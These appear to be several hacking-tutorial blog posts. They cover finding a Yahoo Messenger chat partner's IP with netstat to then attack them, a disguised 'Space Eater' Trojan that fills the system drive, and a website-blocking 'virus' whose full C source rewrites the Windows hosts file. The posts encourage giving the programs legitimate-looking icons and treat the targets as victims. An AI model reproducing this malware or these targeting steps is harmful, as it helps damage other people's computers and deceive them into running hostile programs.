Can we chat without Yahoo messenger? Most of us are familiar with the most widely used applications such as Yahoo messenger and Gtalk to carry out chatting with our friends.But here I’ll show how to chat without Yahoo messenger or Gtalk.As we all know the information we exchange with their servers(Yahoo or Gtalk) are recorded and stored along with the corresponding IP addresses.This may hurt our privacy since all the information we exchange while chatting has to pass through a third party server.

Moreover if the matter is highly confidential, then it is necessary to have a totally private chat where the messages are exchanged only between the people involved in the chat and not with any other third party servers.At these situations, it is better to chat without Yahoo messenger.

So, how to carry out a private chat without Yahoo messenger or Gtalk?

For this purpose there exists many softwares that support’s you to host a web-based chat system without any additional software or services.So with these softwares the exchange of messages takes place directly between the two persons engaging in the chat and will not pass through any other third party server.This ensures 100% privacy and eliminates the desperate need to chat with Yahoo messenger.

One of my favorite program for private chat is Easy Chat Server

This tutorial will tell you how to hack yahoo messenger while you are engaged in chatting with some person.While you are chatting through yahoo messenger, Yahoo will hide the IP addresses of all the computers that are connected through the yahoo messenger application to the chat room.So it is not possible to directly find out the IP of the person you want to hack.Then how to get the IP address? Yes it is still possible to hack the IP address during the Yahoo messenger chat.The procedure to Hack Yahoo messenger is discussed in detail below.

While you are chatting via yahoo messenger the communication between you and the person you want to hack, takes place indirectly via Yahoo server and not directly.It is not possible to hack Yahoo messenger directly to get the IP address.So to hack his IP, you must establish a direct communication with him.So,how to do this? It’s easy.Just start chatting with some one via Yahoo messenger.During the process of chatting send him a big file.Now the file transfer takes place directly between your computer and the victim’s computer(via yahoo messenger application).So now, you are ready to go. Here’s the step-by-step process to hack Yahoo messenger and get the IP address of the person .

• Goto the COMMAND PROMPT (START>>>RUN>>>Type CMD).
• Here Type “netstat -n” (without quotes).

NOTE: If you are new to “netstat” and other IP related commands refer this tutorial:Windows XP IP Utilities

• The pic given below shows netstat results of my computer.I was not chatting when i took this pic and hence it looks modified.

• Here local address is your own IP and the foreign address is the IP address of the recipient with whom you are connected via yahoo messenger (There may be multiple recipients and hence multiple foreign addresses).
• Now send him the file.
• Check the output by typing the command “netstat -n” (without quotes).
• Assume the output is something like this.

TCP 127.0.0.10:5101 124.55.23.11:1246 ESTABLISHED

Here 124.55.23.11 is the IP address of the person with whom you are chatting and 1246 is the port number where connection is established.That’s It! You have now hacked Yahoo messenger to get his IP address.

Once you hack Yahoo messenger and get his IP address you can use any of the Remote Administration tools or perform NETBIOS HACKING.Refer this tutorial on Netbios Hacking.

NOTE: Some times there are chances where in the file transfer gets encrypted (takes place via yahoo server itself).So in this case the above hack may fail to work.

Here’s how you change the title text that appears at the top of the Messenger window. By default, this is “Yahoo! Messenger”, followed by your status. Simply edit the ymsgr.ini file, which you will find in the same folder as the Messenger program, in your Program Files folder. Locate the file and open it in Notepad. Then, at the end, add the following:

[APP TITLE]
caption=YOUR TEXT

Most of you may be curious to know about how to make a Trojan or Virus on your own. Here is an answer for your curiosity. In this post I’ll show you how to make a simple Trojan on your own using C programming language. This Trojan when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run. Also this Trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run. So, I’ll call this as Space Eater Trojan. Since this Trojan is written using a high level programming language it is often undetected by antivirus. The source code for this Trojan is available for download at the end of this post. Let’s see how this Trojan works…

Before I move to explain the features of this Trojan you need to know what exactly is a Trojan horse and how it works. As most of us think a Trojan or a Trojan horse is not a virus. In simple words a Trojan horse is a program that appears to perform a desirable function but in fact performs undisclosed malicious functions that allow unauthorized access to the host machine or create a damage to the computer.

Now lets move to the working of our Trojan

The Trojan horse which I have made appears itself as an antivirus program that scans the computer and removes the threats. But in reality it does nothing but occupy the hard disk space on the root drive by just filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result the the disk gets filled up to 100% with in minutes of running this Trojan. Once the disk space is full, the Trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any cleanup program. This is because the Trojan intelligently creates a huge file in the WindowsSystem32 folder with the .dll extension. Since the junk file has the .dll extention it is often ignored by disk cleanup softwares. So for the victim, there is now way to recover the hard disk space unless reformatting his drive.

The algorithm of the Trojan is as follows

1. Search for the root drive

2. Navigate to WindowsSystem32 on the root drive

3. Create the file named “spceshot.dll”

4. Start dumping the junk data onto the above file and keep increasing it’s size until the drive is full

5. Once the drive is full, stop the process.

You can download the Trojan source code HERE. Please note that I have not included the executabe for security reasons. You need to compile it to obtain the executable.

How to compile, test and remove the damage?

Compilation:

For step-by-step compilation guide, refer my post How to compile C Programs.

Testing:

To test the Trojan, just run the SpaceEater.exe file on your computer. It’ll generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up hard disk space.

NOTE: To remove the warning message you’ve to edit the source code and then re-compile it.

How to remove the Damage and free up the space?

To remove the damage and free up the space, just type the following in the “run” dialog box.

%systemroot%system32

Now search for the file “spceshot.dll“. Just delete it and you’re done. No need to re-format the hard disk.

NOTE: You can also change the ICON of the virus to make it look like a legitimate program. This method is described in the post: How to Change the ICON of an EXE file ?

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

Here is the sourcecode of the virus.

#include
#include
#include

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++) fprintf(target,”%s\t%s\n”,ip,site_list[i]); fclose(target); }

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

How to Compile ?

For step-by-step compilation guide, refer my post How to compile C Programs.

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1—————————google.com

5. Delete all such entries which contain the names of blocked sites.

NOTE: You can also change the ICON of the virus to make it look like a legitimate program.This method is described in the post: How to Change the ICON of an EXE file ?
